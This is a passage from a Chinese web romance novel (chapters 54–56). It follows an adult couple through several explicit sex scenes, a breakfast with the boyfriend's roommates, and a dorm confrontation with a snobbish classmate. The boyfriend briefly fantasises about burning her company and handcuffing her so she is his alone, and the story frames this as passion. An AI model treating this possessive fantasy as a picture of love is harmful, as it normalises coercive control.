绪东阳不同她说闲话,一把拉开半掩的浴室门,将狭窄空间挤得水泄不通,然后俯身咬她的唇。 54 第54章 ◎早餐◎ 也不知是谁误碰花洒,水迎头淋下。 绪东阳乌黑的发梢往下滴水,落进漆黑的眼睛里。 “带换洗衣服了吗?”谈丹青瞧着他,突然笑着问。 “没带。”绪东阳回答,似是无所谓,“一会儿就晾干了。” “脏死了,”谈丹青说着在手中挤出一团洗发露,轻轻搓着他的发尾。 手指按在他的头皮上,很快他的头发就堆满了泡沫,还有多出来的泡沫往下滴,落在他的身上。 “闭眼,”她举起花洒,冲着他头上的泡沫:“你太高了,低一点,后面的位置洗不到……” 于是他在她跟前温顺地低下头,像一只湿漉漉的大野狗。 谈丹青帮他,他也无师自通地也过来帮她。 氵显透了的衣服扔在脚下。 浴室的灯白得发亮。 将她也照得近乎透明。 手臂柔车欠如柳。 带着扶风的韧。 他张开手。 掌控住白。 “嘶……”谈丹青靠在白瓷砖上,眯着眼睛抽气。她总嫌他的手指又米且又太重,“怎么这么喜欢这儿?还没戒女乃吗?真是个,是个小娃娃……” 绪东阳眼神如墨,立刻重重地咬了她一口。这一口颇有技巧,将尖锐的痛,藏在柔车欠绵长的麻里,让谈丹青眼浮白光,大声呼.息。“唔,唔……不,不是教过你么?”她晕晕乎乎,结结巴巴,但依旧耐心地教着他。 “不能这么咬,牙,牙咬收起来……” “小狗,”她添了新的红痕,便轻声骂他,“小野狗。” 他如初学狩猎的野兽,试着收起利齿和利爪。 这让他想到童年青色田野里的草。 那些草总会出现在他的梦境里。 弗洛伊德将人格发展划分成了三个不同阶段。 其中一个阶段叫口腔期。 这个时期大概是从出生到一岁半。 这时期婴幼儿通过吮.吸、咀.嚼、吞.咽、撕.咬、紧.闭等来获得满足。 若满足不适当,过多或过少,人格发展可能发生固着和退缩到这一时期。 绪东阳觉得自己大概就被永恒地困在口腔期里。 才会变成现在这样。 怎么也吃不够。 “我有让你舒服吗?”氵显漉的大手扌无着她纤薄的后背。 他喜欢她的皮,更喜欢她的骨,喜欢那一节节脊梁和肩胛。 “有吗?” “告诉我。”谈丹青只要不答,他就不停的追问。用唇反复巡游,体会不同程度的颤。 “你,你不能这样,这样乱问……”谈丹青眼皮垂着,不愿回答。 “不能吗?那就是有的。”他盯着她的脸。 “放开我。”绪东阳作为学生,实在是太天赋非凡。 谈丹青不愿叫绪东阳压他一头,一扭腰,徐徐半跪了下去。 这个动作让她很快被淋了一脸的水。 绪东阳俯身看她,皱着眉,用掌心帮她揩去脸颊上的露水。 从她的角度看,绪东阳看起来神色十分痛苦,牙关紧咬。 “你要做什么?”他问。 “你猜呢?”她狡黠地笑。 她好奇地托住了它。 有点重,沉甸甸的,散发着淡淡的味道。 她离得太近,呼吸时的气息,全吹在上面。 “谈,丹,青……” 绪东阳几乎从齿缝间挤出她的名字,双眼红得几乎要滴血。 谈丹青玩心大起,故意对着下端吹了口气,问:“你这到底是什么?是气球吗?怎么我一吹,就鼓起,来……” 话音未落,它就重重打在了她的脸上,谈丹青不禁一惊。 “你……你就这么兴奋吗?” 绪东阳一把将她抱了起来,“呀!”短暂的悬空,有一种失重感。 她被他放在了柜台上。 绪东阳这人报复心未免太重,她刚才顶了天也就是对着他吹了一口气。他却要大口大口吃掉她。 “好,好了……” “真的不能再这样了……” “绪,绪东阳!” 她扭动着,月要被弯成一道漂亮的弓。她的半张脸贴在冰凉的镜面上,温柔的嘴唇突吐出惹腾腾的呼吸,雾掉了透明的玻璃。 她被迫看到了自己现在的样子,眼睛、下巴、嘴上都是水,迷乱得不可思议。绪东阳跪在地上,昂着头,仿佛将她当做神坛上的祭品,一口一口地虔诚将她吃掉。 “啊啊啊……”谈丹青痉.挛得几乎缩成了一团。 面对着面。 缓慢,又坚定。 每一次都拉得漫长。 “嘭……” “嘭嘭嘭……” 狭窄的卫生间回音极好,每一声震耳欲聋。 白色的泡沫融化。 变成白色的水。 淅淅沥沥。 第一次还算不上折腾,反而有些温和。 绪东阳虽然凶,但他们毕竟分开了这么长一段时间,他平时又连手都不用,所以半个多小时左右就结束了。 可是到了后面的第二次第三次,就成了一场漫长的拉锯战。 他抱着她走进卧室,落地窗窗户大开。 看见外面流星般的街灯。 谈丹青吓得扭头缩了起来。 “放我下来,对面会看到。” “看不见。”绪东阳说:“这是单面玻璃。” 他放她在地毯上,俯身,鼻尖碰着她,“冷不冷……” 刚刚洗了澡,他怕做太久谈丹青会着凉,扯下一床被子,罩在她的身上。 “怕,怕我冷,就,就不要做,了啊!”谈丹青结结巴巴地说。 她察觉不到冷。宽厚的棉绒的被面盖下来,罩住她,仿佛在皮肤上爬了千万根丝绒。 “你今天来,我好高兴。”他抵着她额头,一遍又一遍诉着自己边台的喜悦。 “很高兴。” “高兴到疯掉。” “你呢?” “你有这么高兴吗?高兴见到我?” 谈丹青神志不明,绪东阳那些话像是另一个世界的梵语。 “高兴吗?” 她口齿不清地像录音机复读:“唔,高兴,高兴……” “太好了。” “真好……” 最后的时刻,魂魄会离开身体,变成一只幽魂。 他阴冷地幻想,要不把她的公司一把火烧掉吧,虽然知道对她有多重要;然后把谈小白给扔了,让他永远待在厦门别回来;再把她的那些亲朋好友全给赶走……关门、上锁,系手铐……然后她就彻底地成了他一个人的。 谈丹青视线跌宕起伏,有一个光点时而聚拢时而涣散。 她觉得今晚的绪东阳实在太疯了…… 以前他也有点疯,但还在范围内疯。 但今天再让他这么疯下去,她可能真要没命了。 她昂起头,去碰绪东阳的耳朵,“绪东阳,你快一点,快一点好不好?我真的,受不了了……” “嗯,好,马上……”他嘴上答应,动作不停,糊了她一脸口水。 谈丹青朦胧中,凑近绪东阳的耳朵,“快一点嘛,绪东阳,哥哥……” 男人真的爱当“哥”。 多少岁都爱当。 “哥哥”这个词,简直是她的法宝。 绪东阳明显整个人僵了僵,脸上浮现出茫然。 含住的东西似是强弩之末。 “你刚刚叫我什么?”他执拗地问。 “再叫一遍……” “你听见了啊。” “再叫一遍。” 谈丹青笑,接着叫:“绪东阳哥哥,你,你快,快点好不好……真的要不行了……” 溺在她甜、带钩子的声音里。 他一下全冲了出来。 满满一袋。 两个人靠在一起,缓了好一会儿。 他刚刚弄了很久,谈丹青还心有余悸,有些紧张地问:“那个……没弄破吧……” 如果破了,可不好办。 “没。”绪东阳仔细检查,袋子是完整的。 他又检查谈丹青,有点肿,但也没她斥责的那么严重。 等终于闹够了,谈丹青手指已经完全抬不起来。 她觉得以后可能得少跟绪东阳见面,这么见一次,真要了自己半条命。她还想多活几年。 绪东阳喘了口气,就起身穿好衣服,去拿外卖。 外卖已经冷透了,扔掉挺可惜,便去找酒店用微波炉热了一轮,然后另点了一些酒店客房服务。 他端着饭,一口一口喂给谈丹青吃。 谈丹青勉强咽下几口饭,说:“不想吃了,你这样,我真的幻视你是我养老院的护工。” “张嘴。”绪东阳对她平时吃饭每个准点这事儿早就颇有微词,逼着她必须再吃几口。 谈丹青吃了一小半,又去狠狠捏绪东阳的耳朵,“以后不许这样了啊,再这样下去,我真怕上社会新闻。” “什么社会新闻?”绪东阳没反应过来。 “你说呢?只听过男的马上风的,没听过女的马上风。”谈丹青继续掐绪东阳的耳朵。 绪东阳的耳朵真的软,手感非常好。 绪东阳看了一眼手机,刚刚他们闹的时候,手机一直响,有三四个未接电话。 “你同学找你?是学校有什么事吗?”谈丹青问。 “不是。” “你晚上不回学校,真不要紧?” “不要紧,”绪东阳回答:“学校不怎么点名。” “那就好。” “你签的补充合同,记得发给我。”绪东阳突然说。 谈丹青惊讶得眼睛瞪圆:“这种时候,你还能想合同的事?” “很多坑可能挖在补充合同里,不能掉以轻心。”绪东阳提醒道。 “知道的知道的,”谈丹青懒得动,说:“明天就发你。” 绪东阳的手指从她的发尾穿过,摩挲着,又卷了一根,送到鼻前闻香。“干嘛啊,”谈丹青扯回自己的头发。 绪东阳又将她抱坐了起来,说:“再来一次吧。” 谈丹青瞳孔地震,“你真的是个疯子……” 绪东阳没坚持,手掌放在她的小腹上,说:“你体质……是有点差。” “我体质差?”谈丹青立马来劲儿了。 “嗯,才两个小时就不行了,”绪东阳实话实说,虎口围着她的手腕圈了一圈:“身上也没什么肌肉。” 谈丹青气得拿枕头扔他,“你才没肌肉!你知不知道你骨头多硬?刚刚都把我撞青了。” “青了?哪儿?”绪东阳说:“我帮你吹吹。” 能是哪儿?谈丹青脸通红,骂道:“真不要脸……” 绪东阳在她肩膀上亲了几口,正经地说:“说真的,你体脂率太低了,有空我带着你跑步吧。” “跑步?”以前绪东阳住她那儿的时候,天天晨跑夜跑雷打不动。长跑练出来的肌肉线条真心漂亮,修长不累赘,像边牧。 她其实有点心动,主要是赚钱的前提就是身体好,不然熬不动夜赚什么钱? “我……我跑不动啊……”谈丹青打退堂鼓,说:“我以前就没怎么跑过步。” “慢慢来,刚开始都跑不了,我带着你跑两周,你习惯这个运动强度就好了。” “唔。”谈丹青哼唧了一声,算是答应。 “等你习惯了,”绪东阳继续说:“我们就能两个小时三个小时……” 谈丹青:“???” 敢情是在这儿等她呢? “吃点药吧你,”她气得用枕头盖住了绪东阳的脸,“谋杀!” 绪东阳抱住她的腰,往下一拖,说:“谋杀亲夫啊。” 谈丹青说:“怎么就是亲夫了?不要脸……” “姘头也行,”绪东阳说:“不介意做小的。我本来就年纪小。” “年纪小受人疼是吧?”谈丹青被逗得直笑,说:“到底从哪儿学来的油嘴滑舌!” 闹了一整晚,谈丹青第二天快中午才起。她以为今天绪东阳就会逼她跑步,但绪东阳说她昨天没休息好,不能跑。于是两人在学校附近的小吃街吃了最地道的老北京小吃。 谈丹青学北京人说话:“这儿的儿烤儿羊儿肉儿真儿好儿吃儿。” 绪东阳哑然失笑,说:“北京人也不是每个字都加儿化音。” 谈丹青说:“听起来差不多,说快了我就听不懂。” “想吃什么?”绪东阳拿起菜单。 “豆汁儿!”谈丹青一上来,就要来点老难度。 “你确定要喝豆汁儿?”绪东阳挑眉。 “确定!”谈丹青还掏出手机,点开摄像功能,“我还要拍vlog呢,整点节目效果。” “行。”绪东阳按谈丹青的要求点了豆汁,但他又另加了炸酱面和小笼包,待会儿谈丹青绝对要吃。 不一时,豆汁儿,小笼包端上桌。 只是闻着豆汁儿的味,谈丹青已经接受无能。 她捏着鼻子,直摆手:“快快快,快快把它拿走……” 绪东阳给了她一个无可奈何的眼神。 “那你先拍一下吧。”绪东阳提醒。 “哦对,差点忘了。”谈丹青拍了几张,就要绪东阳赶快拿走。 绪东阳用汤勺将谈丹青执意点的豆汁给喝了。 谈丹青看得直皱眉,说:“你……难道觉得好喝?” 绪东阳摇了摇头,说:“难喝。” “那你还喝。”谈丹青有点心疼,说:“你别喝了吧。” “免得浪费。”绪东阳说。 谈丹青挺喜欢绪东阳这种性格,绝对不浪费粮食。 “那你喝了,就不许亲我。”谈丹青说。 绪东阳一时表情十分精彩。 谈丹青忍不住笑:“好啦好啦,我还是亲你。” 绪东阳这才面色稍霁。 往他嘴里塞了一只小笼包,说:“压压吧,我不该非要点的。” 绪东阳使劲嚼了一会儿,才咽下去,说:“没事。” “绪东阳?”恰巧几位室友也来吃早饭,王越桓过来打招呼。 张鹏也在,看了谈丹青一眼,又立刻收回目光。 店铺空位紧俏,几人便过来一起拼桌。 王越桓说:“好巧啊,刚好一起吃。” 【作者有话说】 终于,终于放我出来啦! 55 第55章 ◎上面◎ 一见谈丹青,王越桓就被惊艳到。 他素来心直口快,说话想什么说什么。 刚落座便盯着谈丹青足足看了三秒,脱口而出:“我去,姐姐好漂亮!!!我上次看阳哥手机屏保,还以为是女团爱豆,阳哥非说是他女朋友,我以为他耍我。” 绪东阳脸色黑了黑。 谈丹青眼尾弯起,笑意灵动清浅,说:“太会说话了。” 五个人刚好坐满一桌,围桌坐定,王越桓一瞧桌上摆开的豆汁儿和小笼包,笑得直拍腿,说:“嚯,入乡随俗第一关啊,丹青姐,您尝了没?” 王越桓一用北京腔调说“您”,谈丹青就想笑,跟说相声似的。 “没,”她朝绪东阳的方向抬了抬下巴,说:“都归他了。” 众人一阵哄笑。 王越桓竖起拇指:“不过您今儿算来着了!这可是正经老字号,灶火旺着呢!” 谈丹青眸里闪着好奇,问:“你是北京人?” “嗯呐。”王越桓点头。 “地地道道北京孩子。”另一室友接茬。 王越桓立刻作揖讨饶:“可别介啊,求放过啊,京爷这帽子戴不起,现在他们都叫我‘京孙’了。” 谈丹青也前仰后俯,抛出经典题目:“北京话怎么说西红柿炒鸡蛋。” “胸柿炒鸡蛋!”王越桓答得生脆。 满桌顿时哄笑开。 谈丹青社交手腕比这几个愣头青老练许多,几番你来我往便宾主尽欢,气氛融洽和谐。 她在心底微微感慨,学生像摊开的书,一眼就能望到底,心里想什么,都明晃晃地写在脸上,这份未经世故的简单,让人不由自主地放松。 而社会人士人均一句话八百个心眼子,弯弯绕绕多如九曲回肠,也难怪那些土老板功成名就后,就爱和女学生吃饭。 慢慢聊熟了,大家也不再刻意围着谈丹青找话题,转向聊起学校里的趣事和未来规划。谈丹青乐得退至旁观,听得入神。 这些孩子讨论的“未来”,对她而言像一个全新的世界。 他们甚至不说出国留学,而是说“游学”。在一个国家待上几个月或一年,争取把整个欧洲逛完,语气如同讨论周末郊游一般寻常。 谈丹青对数字敏感,习惯性地在心中盘算汇率、学费、生活费、学校补贴…… 这些数字汇总后金额巨大,叫她微微咋舌。 然后听到一句——“这种方案比较经济。” 在她眼中已是高不可攀的欧洲求学,只是他们退而求其次的“省钱”方案,真正花钱如流水的,是美国和英国老牌名校。 这个认知让谈丹青心头微微一滞,像被一根极细的针轻轻刺了一下,不疼,却留下清晰的酸胀感。 她的目光不由自主转向身旁的绪东阳,他也在静静听,侧脸在晨光里明朗清晰,琥珀色的眼珠偶尔浮光游过。 他话很少,但每次开口,总能说到症结上,于是其他人很愿意听。 “学校对外计划主要看排名,就算绩点没有拿满,只要在前10%就行。” 其实,也挺好。 指尖沿着温热的茶杯杯沿缓缓地走,谈丹青发自内心地想。 绪东阳的未来大概就是这样,沿着一条铺满阳光和资源的大道,走向更广阔的天地。 她心中这份“好”,是真实、诚挚的,不含半分嫉妒和苦涩。 她真心实意地为绪东阳能拥有这样的选择、这样的前景而感到高兴。也丝毫不意外,他的努力、认知和天赋,配得上黄金一样的未来。 只是这份高兴,如同隔着橱窗欣赏一件精美绝伦的瓷器,赞叹它的精美,却也清晰地知道自己与它之间,永远隔着一层无法穿透的、冰冷的玻璃。 吃完饭散场,告别时,方才在饭桌上不发一言的张鹏,突然冷不丁地将手机屏幕径直递到她的面前,“姐姐,加个好友吧,以后有事好联系。” 谈丹青有些意外,她察觉刚刚吃饭张鹏时不时看她,还以为他是因为昨晚的事,又在心中默默鄙视自己。 “没这个必要。”绪东阳从中间挡开,将手机还了回去,冷冷地说。 张鹏忙解释:“阳哥,误会了哈。我没别的意思,我刚听丹青姐在广东有工厂,想以后有机会去参观参观。” 绪东阳说:“想去直接找我。” “行,”张鹏将手机放回口袋,又补充道:“真没别的意思。” 谈丹青今天的课在下午两点,趁着还有空,两人便围着天坛散步。 恰好碰到导游团涌入,人潮瞬间拥挤,绪东阳的手自然地包裹住她的。她回握住,感受着他掌心传来的温度与力度。 太阳越升越高,晒得鼻尖冒汗。 她一阶一阶往天坛跳着走,问:“绪东阳,你后面打算去哪儿?” 绪东阳低头看导航,说:“颐.和.园吧,那里现在风景最美。” “不是,”谈丹青失笑,说:“我是说后面,以后,毕业后。” 时间过得很快,现在绪东阳已经在念大二,大三就要定方向,蹉跎不了几时。 绪东阳拧着眉看她。 谈丹青停下脚步,昂头欣赏着巍峨壮观的天坛,说:“你同学都打算出国深造,不出国的,也留校读研,不读研也考公。那你呢?从没听你说,你后面想去哪儿?” “你想我去哪儿?”绪东阳反问,声音里带着一丝不易察觉的紧绷。 “我?我能想什么,”谈丹青笑着说:“现在说的,是你的未来啊。当然要你自己决定。” 她顿了顿,语气放得柔和,“你也想和他们一样出国吗?如果你不想找家里要钱,我……可以帮你。” 她斟酌着用词,她见识过绪东阳那点自尊心,试图将“借”字说得不那么生硬。 绪东阳没说话,过了一会儿,突然笑了一声,说:“谈丹青,你还是这样。” 谈丹青从他的声音里听到了清晰的控诉,不由有些不悦。她怎么样了?她又不是找他借钱,她可是借钱给他。这种时候,不应该叫她一声金主妈妈么?怎么苦大仇深得像一只倔强小白花。 绪东阳沉默着,下颌线绷紧。 谈丹青试探了一声:“喂,绪东阳……又生气了?” “你上课的时间快到了,”绪东阳说:“我送你过去。” “嗯。” 回去的路上,两人话很少,空气凝滞,算得上不欢而散。 绪东阳送她到教学楼楼下,说:“我回宿舍一趟。” “嗯,那我去教室了。”谈丹青应了一声,转身上楼。 * 绪东阳愤怒并非源于什么可笑的自尊心,他在谈丹青面前还有什么自尊? 他真正愤怒的,是谈丹青仍然没有将他纳入未来的规划里。 她还是保持着那潇洒的随时抽身就走的姿态,似乎一旦时机到了,她就会昂首大步往前走,将他留在原地,不管他的死活。 他爱的就是谈丹青的这份坚定,是她谈及自己梦想时,眼中闪烁的星河。 可同样的,他最怨恨的也是她这油盐不进捂不热的决绝。 他沉着脸,快步往宿舍走。 有同学擦肩而过,跟他打招呼。 他礼节性地点了点头。 刚到宿舍门外,还没推开门,就听见王越桓的声音:“……丹青姐是阳哥的女朋友,你刚刚加什么微信?” 紧接着是张鹏不耐烦和刻薄的辩解:“我都说八百遍了,我就是问问她厂的事!有什么大不了的?她就一个高中毕业小网红,年龄还那么大。你们一个两个,都快把她捧到天上去了,哄抬逼价说的就是你们这种人!” 门“哐”的一声被大力推开,撞在墙上又弹回。 宿舍里瞬间鸦雀无声,连空气都凝滞了。 绪东阳走了进来。 径直走到张鹏面前。 张鹏体格只有绪东阳一半,脸色煞白,他以为绪东阳要一拳头把他脑袋打开花,吓得紧闭眼睛。然而预料中的拳头并没有落下,耳畔掠过一阵拳风,绪东阳抬手越过他的头顶,取下了上方一件外衣。 张鹏惊疑不定地睁开眼睛。 绪东阳将衣服随意搭在臂弯,声音不高,但每个字都掷地有声:“你今天有机会能来这儿上学,不是你有多了不起,而是你运气好会投胎。投了个智力好、条件好的家庭。别人不过是没有你这个条件,不然能做得比你好几百倍几万倍。 “知道她的小工厂能养活多少人吗?创造了多少就业*机会吗?人家赚钱,每一分每一厘都来路正,干干净净,堂堂正正。你呢?你又做了什么?除了浪费国家的教育资源刷了几个绩点,你做了什么贡献?配在这里叫?” 宿舍一片死寂。 张鹏类似的情况已经不是第一次。唯绩优论,对别人势利,对自己更势利,每天就比来比去,比成绩、比鞋、比家境。对不如他的人,尖酸刻薄到极点。 其他人早就想揍他。 绪东阳将衣服塞进背包,拉链声在寂静中格外刺耳。 “还有,”走到门口,他的脚步顿住,“谈丹青他妈的是我他妈的女朋友你他妈的听清楚了就他妈的滚远点。” 善武者不屑于言,绪东阳平时极少骂人,从来没听他说过脏话。 这次是头一次听到他一句话里面带四个“他妈的”。 破天荒头一遭,整个宿舍的空气仿佛都被抽干了,一股隐隐的大快人心的愉悦在酝酿。 张鹏早就该削了。 大快人心!!! 绪东阳再多一个字都欠奉,拎包出去。 王越桓追了出来,大着胆子喊了句,“阳哥,阳哥!” 绪东阳怒火并非针对他,语气稍缓:“有事?” 王越桓挠头,小心翼翼地组织语言,说:“张鹏刚刚说丹青姐的话,你,你别放心上啊!他就是势利眼,丹青姐人真挺好的。她在这儿玩几天?我也是个小东道主,带你们到处玩玩呢?” “没事,”绪东阳说,“她是来上课的,时间紧,也没空去太多地方。” “上课?” “嗯,她在设计学院上公开课。” “哇,这也太厉害了吧!”王越桓赞叹了一声,说:“事业有成还这么拼。那个张鹏,他现在傲,出了社会有他苦头吃。” 绪东阳“嗯”了一声,算是回应,抬手看了眼腕表:“走了。” 下午的课,绪东阳坐在教室里,眼前的板书和教授的声音都像隔着一层雾。 谈丹青清晨那句“我倒是可以借给你”和“是你的未来啊”,还有张鹏那张刻薄的脸,在他脑海里反复撕扯。 心神不宁,笔记只潦草划了几行。 好不容易熬到下课铃响,他几乎是第一个冲到讲台边,将收拾教案的教授拦了下来。 “教授,关于您课上提到的合同效力问题……我最近刚好接触到了一个案例,”他思路条理清晰,将谈丹青公司的情况融了进去,“一家小微型企业,就在和mcn公司签补充协议时,在合同里就被设置了类似的‘霸王条款’……” 教授推了推眼镜,认真听着,眼中渐渐露出感兴趣的神色:“嗯……你这个切入点很实际,案例也很有代表性。合同双方地位不对等导致的显失公平,确实是实务中的难点。” 他沉吟片刻,“这样吧,我有个学生,自己开了家律所,专攻中小企业的商事纠纷和合同风险防控,尤其擅长处理这类‘不平等条约’。我把他联系方式给你,你们可以深入聊聊,甚至可以考虑把这个案例作为一个小课题来研究,很有现实意义。” 绪东阳紧绷了一天的神经终于松懈了一丝,“好!谢谢教授!” * 另一边,窗明几净的教室,谈丹青脊背挺直,全神贯注地凝视着讲台。 这是她六年后第一次回到教室当一名好好学生。她珍惜这难得的机会,不放过教授说的每一句话。 “请注意看,”讲台一侧的投影幕布上,正展示着一幅幅大师的杰作。 提香笔下丰腴肌肤上流淌的金色暖光与深红天鹅绒的浓郁交相辉映,一束光精准打在主角身上。 教授不断放大图片,放大到能看见画家的笔触。这一束高光,是由两个白色的撇组成,犹如画龙点睛,让这幅画的人物开始呼吸。 教授用激光笔圈点着画面细节,“色彩不仅仅是视觉的愉悦,情绪的语言,更是引导视线的魔法师。比如这里,” 他指向画中人物袖口的一抹亮白,“它在整片暖棕与深赭中如此跳脱,却毫不突兀,反而像一道呼吸的缝隙,将我们的目光牢牢锁在人物的身上。这就是色彩的‘焦点’……” 谈丹青的笔尖在厚厚的笔记本上飞快地记录着,教授的话语像一把精巧的钥匙。 她想起自己无数次在布料市场挑选样布时,指尖划过那些丝绒、绸缎、棉麻,本能地被某些和谐的色彩组合吸引,却又说不清道不明其中关窍。 那种隐隐觉得“这样搭好像更好看”却无法系统论证的直觉,就像一颗颗散落在记忆沙滩上的、蒙尘的珍珠。它们各自闪烁着微光,却互不相连,孤零零地存在着。 而此刻,教授条分缕析的讲解,如同一位技艺精湛的穿珠人,将这些明珠一颗颗串成了好看的项链。这根微妙的“线”,就是体系。 不知不觉,一下午的课程就这么结束了,谈丹青意犹未尽。 之前她还担心过来这里上课会浪费时间,但现在她觉得实在是太正确了。 从教学楼走出来,谈丹青意外看到绪东阳在等她。 他站在树下,一身都是绿盈,旁边是辆黑色单车。 谈丹青一脸意外:“你怎么过来了?” “我接我女朋友下课。”绪东阳冷着神色,淡声说。 谈丹青有些好笑,心头那点残余的芥蒂悄然融化,说:“我以为你刚刚生气了。” “生气也是我女朋友。”绪东阳说。他语气坚定,带着不容置疑的占有欲。 这话孩子气又霸道,却奇异地熨帖了她之前被刺伤的不悦,“好吧。” * 回到酒店。谈丹青洗完澡,穿着丝滑的白色睡衣趴在床上翻看课本。 墨迹未干,散发着知识的新鲜气息。 绪东阳也看他的电脑,却喜欢把她一整个圈在怀里,像只巨大的、温热的抱抱熊,下巴抵在她肩窝,温热的呼吸拂过她颈侧的肌肤。 “你之前签的补充合同我看过了,我有点拿不准。现在联系了一位学长,他的律所主攻合同法,请他帮忙看有没有问题。” 谈丹青眼睛一亮,问:“哪家公司?” 绪东阳报了名,谈丹青说:“他们不是不接案子了么?” “对外是这么说,”绪东阳说:“他是我教授的学生,而且这个选题很好,他们应该也会很想做出课题成果。” “哈——”谈丹青在床上滚了半圈,丝滑的睡衣蹭过床单发出细微的窸窣声。她顺势仰面躺倒,抬起一只手夸张地捂住耳朵,耍赖道:“别念了别念了!我今天当了一天的好学生,脑容量已经没了。” 绪东阳低头,一个吻轻轻落在她圆润的肩头。 那里在柔和的灯光下泛着珍珠般的光泽。 谈丹青感受到肩上传来的温热触感,那热度仿佛顺着神经末梢一路蔓延,灼热,既是邀约,也像是寻求一种更深层的连接与归属。 她转过身,动作快得像一尾滑溜的鱼,未等绪东阳反应,双手抵住他结实的胸膛,猛地用力一推。 绪东阳猝不及防,被她推得向后倒去,陷进柔软的床垫里。 “今天我要在上面。”她发出豪言壮语。 绪东阳:“?” 谈丹青夸坐在他劲瘦的月要月复间,居高临下地俯视着他。 长发如瀑般垂落,有几缕调皮地扫过绪东阳的下颌。 纤长白皙的食指和中指分开,稳稳地绷直,比作一支木仓,精准地“瞄准”在他心脏的位置。 隔着薄薄的衣料,能感受到他胸腔下心房有力地搏动。 “你不许动。”她发号施令。 56 第56章 ◎桌上◎ 房间没有领结,谈丹青便用自己的黑色丝巾将绪东阳的双手固定在床头,“昨天让你太嚣张了,从现在开始,你什么都要听我的。” 绪东阳试着摆动手腕,发出一阵窸窣响。 丝巾滑溜如水,虽然打了个死结,但只要他用些劲儿,就能轻易撕成碎片。 他心有疑惑,好奇谈丹青到底打算做什么,于是不再挣扎,静静看着她下一步要做什么。 谈丹青将左右两边系好,又仔细拽了拽,确定他无法动弹,方才坐了回去。她用那双水盈盈的眼睛看他,双手撑住他的月匈膛,然后稍抬起屯,徐徐落下。 每一次缓慢的下降里,车欠中带韧的月要像柳条一样轻轻摇。单薄的白色底库紧贴着他的,时上时下。那一处布料小、细而单薄,逐渐被濡氵显了,白色的棉花纤维融化,变成了一层几乎透明的薄膜,蛇皮般的附着在他。 她就是条刚刚修炼成人的蛇妖,每一次缠绕都蛇形未蜕,一点点挤压出他肺叶里的氧。 他因眼前的美景呼吸越来越沉,沙哑如坏掉的手风琴。那对火红的樱花就坠在他的唇前,花枝乱摇,仿佛窗外雪山风吹樱落。 他控制不住地昂起头,要用牙一口采撷。 可他一昂首,一根素白的手就轻轻点在他的月匈口,将他推了回去。 一团柔和车欠,有一下没一下地压着他挤着他。 “都说了,不许动。”她蛮横地说。 两人太熟悉彼此,每次若即若离的触碰,躯体就开始预判下一刻即将要吃到怎样美味的佳肴,然后血液、肾上腺素、激素迅速分泌,伴随着吱呀的床板声蔓延、发酵。 谈丹青很快就吃了一惊,涨红着脸问:“怎么能这么快……” “不,不许再这样了……” “不然,呀,我会摔下去的……” 她像在骑马。 信马由缰。 自己掌握节奏,满足自己。 她反而觉得这种温和的过程似乎更舒适,好像回到充满安全感的羊水里。 有时候绪东阳太凶,带来的快乐太过尖锐。 “我这人,脾气不好,”谈丹青的声线不稳,颤巍巍地口耑。 “最不喜欢别人跟我冷战,也不喜欢看人脸色,所以,” 淡色的嘴唇覆在他的耳边,如叹息,“你今天就给我臭脸了,还敢生我气,我告诉你,爱气气,我是不猜的。” 他听着她一句又一句数落,脑中那根名为理智的弦一点点拉长,濒临断裂。后牙几乎咬出了火,太阳穴一根青筋仿佛活过来了砰砰直跳。 他快要受不了这场缓慢的酷刑。 要被烧成灰。 “解开。” “谈丹青,解开。” “不,我就不。” 多新鲜啊,她快把绪东阳给弄哭了。 眼角红成这样,马上就要滚出眼泪。 巨大的成就感在她心中膨胀。 “你叫我声姐姐,我还能考虑一下。” 她说完咯咯直笑,笑声动人,羽毛似的刮着他。 眼前蒙了一层红,看什么都带着血腥气,他必须立刻将她抓住,按到审下不知疲倦地横冲乱撞。不然,他这一身的血管一定会一根接着一根全部爆掉。 “谈,丹,青。” “哼,还不叫呢?”谈丹青继续慢慢地骑马。 她尤其不爱听绪东阳这么叫她,对她直呼其名。什么人骨头这么石更?一句好听的话都不会说。 “你不叫,我就不放开你,就欺负你。”热气吹在他的耳畔,她明知他痛苦,越要得寸进尺。双手搂着他的脖子,晃得厉害。上上下下,左右打圈,扭动,挤压,“服……呀,服不服……” 她成功将这件青事升级成打架斗殴。 频繁挑衅。 明明,绪东阳当时也是这么做的,但似乎她模仿起来,节奏总慢了些。她颠簸了一会儿,终于满足地停下,彻底没了劲儿,懒洋洋地靠着绪东阳滑落,大口大口呼吸,“好,好……舒复呀……” “你呢?” 绪东阳几乎要被她逼疯。 她的玩耍是隔靴挠痒,每次都擦过靶心,然后在原地慢吞吞的兜圈,在要攀登到山顶的前一刻,一把将他推开。强烈的期望不仅得不到解脱,相反一层叠加一层。 “你也已经到了吧……”她心满意足地抱着他休息,却突然听到床头传来布料撕裂的声音。 那声音很熟悉,是她走在纺织厂时,耳畔时常响起的乐章。 单调,却动听。 但这一次,她却在她熟悉的音调里听到了危险的警钟。 “咦……” 绑缚绪东阳双手的丝巾,牢固的纤维正一根根崩断,最后撕成了碎片。 “你,你力气怎么这么大……”谈丹青一脸不可思议,绪东阳已经抱着她的月要坐了起来。 他的脸因被她长久的折磨狰狞得有些变形,野兽似的。天旋地转之间,两个人地位调转,凶猛的热气悉数喷在她面颊上。 手指在中间转了一圈,检查内里是否有伤口,确认里面不仅完好,而且抽手后满手掌都是水,他便不再多言,闷不作声地直来直往。 她重重抿唇。 绪东阳不喜欢她咬伤自己。于是一面进出,一面低头封住她的嘴,让她那些不愿意难为情发出来的声音,全吞咽下去。 他很喜欢这种感觉,喜欢呼吸纠缠,额角相依,仿佛他们上一世是一对瓷茶盏,投胎时摔碎了成了两个独立的人。 “啊……”谈丹青以为自己应该能习惯这种型号,但当他开始动作时,她还是紧紧地皱起了眉。只几十下便比她刚才玩半天还要扌斗得厉害,她抓着他的手臂,还不忘今天的初衷,“你,你不许动的……” “好,”绪东阳从善如流,在她耳畔低语,“那你说口令。我听你的。” “一,一……”谈丹青总是只能数到一,后面的一二三四五六七八九十语不成句。 书和笔记本放在桌面上,被一次又一次撞得挪位,最后全掉了下来,发出咚咚的响。 “我的书!不能流到书上去了,你弄脏了我的书……” “没有。”绪东阳不悦她在这种时候还能分心,但还是将那些杂物全部移开。那些东西会撞到她的月要。她皮肤太白,只碰了一两下就成了一圈红。 谈丹青将脸埋在桌面上,所有东西都拂开了,但剩下学生卡。那张卡就在她的眼皮旁,一撩眼就能看见上面的学号。 